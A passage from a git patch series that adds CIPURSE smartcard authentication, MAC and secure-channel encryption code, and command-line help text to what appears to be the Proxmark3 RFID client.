@@ -145,24 +145,29 @@ static int CmdHFCipurseAuth(const char *Cmd) { return PM3_ESOFT; } CipurseCSetRandomFromPICC(&cpc, buf); - + // make auth data uint8_t authparams[16 + 16 + 6] = {0}; CipurseCAuthenticateHost(&cpc, authparams); // authenticate res = CIPURSEMutalAuthenticate(keyId, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); - if (res != 0 || sw != 0x9000 || len != 0x16) { + if (res != 0 || sw != 0x9000 || len != 16) { if (sw == 0x6988) - PrintAndLogEx(ERR, "Cipurse authentication error. Wrong key."); + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key."); else if ((sw == 0x6A88)) - PrintAndLogEx(ERR, "Cipurse authentication error. Wrong key number."); - else PrintAndLogEx(ERR, "Cipurse authentication error. Card returns 0x%04x.", sw); + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number."); + else PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } + if (CipurseCCheckCT(&cpc, buf)) + PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + else + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT"); + DropField(); return PM3_SUCCESS; } From 80e8e1f8f96033cba498b44c83d4b428677d4f8d Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 20:26:31 +0300 Subject: [PATCH 44/77] add file to cmake --- client/CMakeLists.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index aab617889..5c826790d 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -211,6 +211,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fido/fidocore.c ${PM3_ROOT}/client/src/iso7816/apduinfo.c ${PM3_ROOT}/client/src/iso7816/iso7816core.c + ${PM3_ROOT}/client/src/cipurse/cipursecrypto.c ${PM3_ROOT}/client/src/cipurse/cipursecore.c ${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipherutils.c From da2a1f3c625c1c1cda65eea42ed56a652ce61d52 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 20:33:20 +0300 Subject: [PATCH 45/77] add MAC sketch --- client/src/cipurse/cipursecore.c | 4 ++++ client/src/cipurse/cipursecrypto.c | 25 +++++++++++++++++++++++++ client/src/cipurse/cipursecrypto.h | 8 +++++++- 3 files changed, 36 insertions(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 45c276f2c..553e5ba68 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -21,6 +21,9 @@ #include "util.h" #include "cipurse/cipursecrypto.h" +// context for secure channel +CipurseContext cipurseContext; + static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[APDU_RES_LEN] = {0}; @@ -84,6 +87,7 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31}; + CipurseCClearContext(&cipurseContext); return EMVSelect(ECC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); } diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 14dd8c3a5..29cdc994c 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -184,3 +184,28 @@ void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) { bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) { return (memcmp(CT, ctx->CT, CIPURSE_AES_KEY_LENGTH) == 0); } + +void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen) { + *ddatalen = sdatalen + 1; + *ddatalen += *ddatalen % blocklen; + memset(ddata, 0, *ddatalen); + memcpy(ddata, sdata, sdatalen); + ddata[sdatalen] = ISO9797_M2_PAD_BYTE; +} + +void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { + +} + +void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { + uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH]; + size_t pdatalen = 0; + AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH); + CipurseCGenerateMAC(ctx, pdata, pdatalen, mac); +} + +bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { + uint8_t xmac[CIPURSE_MAC_LENGTH] = {0}; + CipurseCCalcMACPadded(ctx, data, datalen, xmac); + return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0); +} diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index ca1ed29f3..c7fdc57e4 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -16,8 +16,9 @@ #define CIPURSE_KVV_LENGTH 4 #define CIPURSE_AES_KEY_LENGTH 16 #define CIPURSE_SECURITY_PARAM_N 6 -#define OSPT_MAC_LENGTH 8 +#define CIPURSE_MAC_LENGTH 8 #define CIPURSE_POLY 0x35b088cce172UL +#define ISO9797_M2_PAD_BYTE 0x80 #define member_size(type, member) sizeof(((type *)0)->member) @@ -53,6 +54,11 @@ void CipurseCSetRandomHost(CipurseContext *ctx); void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT); +void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen); + +void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); +void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); +bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); From 413c5ec340927a2f91d19664954b042e9e2e1098 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 20:56:55 +0300 Subject: [PATCH 46/77] add mac sketch --- client/src/cipurse/cipursecrypto.c | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 29cdc994c..bfd51b9f5 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -13,6 +13,7 @@ #include "commonutil.h" // ARRAYLEN #include "comms.h" // DropField #include "util_posix.h" // msleep +#include // memcpy memset #include "cmdhf14a.h" #include "emv/emvcore.h" @@ -193,8 +194,32 @@ void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_ ddata[sdatalen] = ISO9797_M2_PAD_BYTE; } +/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473 + * + * Generate OSPT MAC on the given input data. + * Data should be already padded. + * + * Calculation of Mi and ki+1: hx := ki , hx+1 := AES( key = hx ; Dx ) + * XOR Dx , hx+2 := AES( key = hx+1 ; Dx+1 ) XOR Dx+1, hx+3 := AES( key = + * hx+2 ; Dx+2 ) XOR Dx+2, ... hy+1 := AES( key = hy ; Dy ) XOR Dy, ki+1 := + * hy+1 M'i := AES( key = ki ; ki+1 ) XOR ki+1, Mi := m LS bits of M'i = ( + * (M'i )0, (M'i )1, ..., (M'i )m-1) + */ void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { - + uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0}; + + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); + int i = 0; + while (datalen > i) { + aes_encode(NULL, ctx->frameKeyNext, &data[i], temp, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp, &data[i], CIPURSE_AES_KEY_LENGTH); + memcpy(ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); + i += CIPURSE_AES_KEY_LENGTH; + } + + aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); + memcpy(mac, temp, CIPURSE_MAC_LENGTH); } void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { From 283f065bc81a25c701641a3a7bef3f8e49a0c943 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 21:23:01 +0300 Subject: [PATCH 47/77] add mac/encrypt primitives --- client/src/cipurse/cipursecrypto.c | 54 ++++++++++++++++++++++++++++++ client/src/cipurse/cipursecrypto.h | 5 ++- 2 files changed, 58 insertions(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index bfd51b9f5..d18907247 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -23,6 +23,7 @@ #include "util.h" uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) { for(size_t i = 0; i < len; i++) @@ -194,6 +195,59 @@ void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_ ddata[sdatalen] = ISO9797_M2_PAD_BYTE; } +size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) { + for (int i = datalen; i > 0; i--) { + if (data[i - 1] == 0x80) + return i; + if (data[i - 1] != 0x00) + return 0; + } + return 0; +} + +/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521 + * + * Encrypt/Decrypt the given data using ciphering mechanism explained the OPST. + * Data should be already padded. + * + * hx-1 := ki , hx := AES( key = hx-1 ; q) XOR q, Cx := AES( key = hx ; + * Dx ), hx+1 := AES( key = hx ; q ) XOR q, Cx+1 := AES( key = hx+1 ; + * Dx+1 ), ... hy := AES( key = hy-1 ; q ) XOR q, Cy := AES( key = hy ; + * Dy ), ki+1 := hy + */ +void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) { + uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0}; + + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); + int i = 0; + while (datalen > i) { + aes_encode(NULL, QConstant, ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); + bin_xor(hx, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); + + if (isEncrypt) + aes_encode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH); + else + aes_decode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH); + + memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); + i += CIPURSE_AES_KEY_LENGTH; + } +} + +void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen) { + uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH]; + size_t pdatalen = 0; + AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH); + + CipurseCEncryptDecrypt(ctx, pdata, pdatalen, encdata, true); + *encdatalen = pdatalen; +} + +void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen) { + CipurseCEncryptDecrypt(ctx, data, datalen, plaindata, false); + *plaindatalen = FindISO9797M2PaddingDataLen(plaindata, datalen); +} + /* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473 * * Generate OSPT MAC on the given input data. diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index c7fdc57e4..0ceafc5ff 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -55,11 +55,14 @@ void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT); void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen); +size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen); void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac); - +void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt); +void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen); +void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen); void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); #endif /* __CIPURSECRYPTO_H__ */ From b4ecbdb5f6805e0467a8253602ec4c9b4658df63 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 21:28:19 +0300 Subject: [PATCH 48/77] text fix --- client/src/cmdhfcipurse.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index cea5755f4..8839bcda1 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -89,9 +89,10 @@ static int CmdHFCipurseAuth(const char *Cmd) { uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; CLIParserContext *ctx; - CLIParserInit(&ctx, "hf 14a sim", - "Simulate ISO/IEC 14443 type A tag with 4,7 or 10 byte UID", - "hf 14a sim -t 1 --uid 11223344 -> MIFARE Classic 1k\n"); + CLIParserInit(&ctx, "hf cipurse auth", + "Authenticate with key ID and key", + "hf cipurse auth -> Authenticate with keyID=1 and key = 7373...7373\n" + "hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> Authenticate with key\n"); void *argtable[] = { arg_param_begin, @@ -111,7 +112,7 @@ static int CmdHFCipurseAuth(const char *Cmd) { int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen); if (hdatalen && hdatalen != 16) { - PrintAndLogEx(ERR, "ERROR: key length for AES128 must be 16 bytes only."); + PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); CLIParserFree(ctx); return PM3_EINVARG; } @@ -124,7 +125,7 @@ static int CmdHFCipurseAuth(const char *Cmd) { int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { - PrintAndLogEx(ERR, "Cipurse select error. Card returns 0x%04x.", sw); + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } @@ -140,7 +141,7 @@ static int CmdHFCipurseAuth(const char *Cmd) { // get RP, rP res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); if (res != 0 || len != 0x16) { - PrintAndLogEx(ERR, "Cipurse get challenge error. Card returns 0x%04x.", sw); + PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } From 54e7713a9adec8386d344af098b9c72af89a89db Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 21:46:22 +0300 Subject: [PATCH 49/77] auth refactoring --- client/src/cipurse/cipursecore.c | 55 ++++++++++++++++++++++++++++++++ client/src/cipurse/cipursecore.h | 2 ++ client/src/cmdhfcipurse.c | 43 ++++++------------------- 3 files changed, 66 insertions(+), 34 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 553e5ba68..54f90bd52 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -99,3 +99,58 @@ int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, ui int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); } + +bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + + CipurseContext cpc = {0}; + CipurseCSetKey(&cpc, keyIndex, key); + + // get RP, rP + int res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); + if (res != 0 || len != 0x16) { + if (verbose) + PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw); + + return false; + } + CipurseCSetRandomFromPICC(&cpc, buf); + + // make auth data + uint8_t authparams[16 + 16 + 6] = {0}; + CipurseCAuthenticateHost(&cpc, authparams); + + // authenticate + res = CIPURSEMutalAuthenticate(keyIndex, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000 || len != 16) { + if (sw == 0x6988) { + if (verbose) + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key."); + } else if ((sw == 0x6A88)) { + if (verbose) + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number."); + } else { + if (verbose) + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw); + } + + CipurseCClearContext(&cipurseContext); + return false; + } + + if (CipurseCCheckCT(&cpc, buf)) { + if (verbose) + PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + + memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); + return true; + } else { + if (verbose) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT"); + + CipurseCClearContext(&cipurseContext); + return false; + } +} \ No newline at end of file diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 47671d0c8..4555b4c1f 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -31,4 +31,6 @@ int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen); int CIPURSEReadBinary(uint16_t offset, uint8_t *data, uint16_t *datalen); int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen); +bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose); + #endif /* __CIPURSECORE_H__ */ diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 8839bcda1..39ea9cdc7 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -121,7 +121,7 @@ static int CmdHFCipurseAuth(const char *Cmd) { SetAPDULogging(APDULogging); - CLIParserFree(ctx); + CLIParserFree(ctx); int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { @@ -129,48 +129,23 @@ static int CmdHFCipurseAuth(const char *Cmd) { DropField(); return PM3_ESOFT; } - - CipurseContext cpc = {0}; - CipurseCSetKey(&cpc, keyId, key); - + uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; CipurseCGetKVV(key, kvv); if (verbose) PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); - // get RP, rP - res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); - if (res != 0 || len != 0x16) { - PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw); - DropField(); - return PM3_ESOFT; - } - CipurseCSetRandomFromPICC(&cpc, buf); - - // make auth data - uint8_t authparams[16 + 16 + 6] = {0}; - CipurseCAuthenticateHost(&cpc, authparams); + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); - // authenticate - res = CIPURSEMutalAuthenticate(keyId, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); - if (res != 0 || sw != 0x9000 || len != 16) { - if (sw == 0x6988) - PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key."); - else if ((sw == 0x6A88)) - PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number."); - else PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw); - - DropField(); - return PM3_ESOFT; + if (verbose == false) { + if (bres) + PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + else + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); } - if (CipurseCCheckCT(&cpc, buf)) - PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); - else - PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT"); - DropField(); - return PM3_SUCCESS; + return bres ? PM3_SUCCESS : PM3_ESOFT; } From 9857094274d96f0fe7a66411d24d96980342b0dc Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 22:37:32 +0300 Subject: [PATCH 50/77] security level logic --- client/src/cipurse/cipursecore.c | 6 ++++++ client/src/cipurse/cipursecrypto.c | 22 ++++++++++++++++++++++ client/src/cipurse/cipursecrypto.h | 12 ++++++++++-- 3 files changed, 38 insertions(+), 2 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 54f90bd52..3b905214f 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -13,6 +13,7 @@ #include "commonutil.h" // ARRAYLEN #include "comms.h" // DropField #include "util_posix.h" // msleep +#include // memcpy memset #include "cmdhf14a.h" #include "emv/emvcore.h" @@ -36,6 +37,10 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, DropField(); msleep(50); } + + // long messages is not allowed + if (apdu.Lc > 228) + return 20; // COMPUTE APDU int datalen = 0; @@ -144,6 +149,7 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (verbose) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); return true; } else { diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index d18907247..71b076515 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -25,6 +25,16 @@ uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; +uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) { + switch (lvl) { + case CPSNone: return 0x00; + case CPSPlain: return 0x00; + case CPSMACed: return 0x01; + case CPSEncrypted: return 0x02; + default: return 0x00; + } +} + static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) { for(size_t i = 0; i < len; i++) d1[i] = d1[i] ^ d2[i]; @@ -152,6 +162,11 @@ void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) { memcpy(ctx->key, key, member_size(CipurseContext, key)); } +void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) { + ctx->RequestSecurity = req; + ctx->ResponseSecurity = resp; +} + void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { if (ctx == NULL) return; @@ -165,6 +180,13 @@ void CipurseCSetRandomHost(CipurseContext *ctx) { memset(ctx->rT, 0x20, member_size(CipurseContext, rT)); } +uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) { + uint8_t res = LePresent ? 1 : 0; + res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 2); + res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 6); + return res; +} + static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) { memcpy(authdata, ctx->cP, member_size(CipurseContext, cP)); memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT)); diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 0ceafc5ff..d98f3e4fe 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -22,12 +22,12 @@ #define member_size(type, member) sizeof(((type *)0)->member) -enum CipurseChannelSecurityLevel { +typedef enum { CPSNone, CPSPlain, CPSMACed, CPSEncrypted -}; +} CipurseChannelSecurityLevel; typedef struct CipurseContextS { uint8_t keyId; @@ -44,16 +44,24 @@ typedef struct CipurseContextS { uint8_t frameKey[CIPURSE_AES_KEY_LENGTH]; uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH]; + + CipurseChannelSecurityLevel RequestSecurity; + CipurseChannelSecurityLevel ResponseSecurity; } CipurseContext; +uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl); + void CipurseCClearContext(CipurseContext *ctx); void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key); void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random); void CipurseCSetRandomHost(CipurseContext *ctx); +uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent); void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT); +void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); + void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen); size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen); From 99c4a3a9c0b0d5c8993f438f09d8b0a1ed8e66dc Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 22:53:31 +0300 Subject: [PATCH 51/77] fix warning --- client/src/cipurse/cipursecore.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 3b905214f..4f73d73c7 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -133,7 +133,7 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (sw == 0x6988) { if (verbose) PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key."); - } else if ((sw == 0x6A88)) { + } else if (sw == 0x6A88) { if (verbose) PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number."); } else { From 84ada9cc14890ddbb1caf7b6a0843c9904232227 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 19:42:04 +0300 Subject: [PATCH 52/77] read file works --- client/src/cipurse/cipursecore.c | 36 ++++++++-- client/src/cipurse/cipursecore.h | 7 +- client/src/cipurse/cipursecrypto.c | 89 +++++++++++++++++++++++++ client/src/cipurse/cipursecrypto.h | 6 ++ client/src/cmdhfcipurse.c | 103 +++++++++++++++++++++++++++++ 5 files changed, 232 insertions(+), 9 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 4f73d73c7..acea27683 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -27,6 +27,8 @@ CipurseContext cipurseContext; static int CIPURSEExchangeEx(bool ActivateField, bool 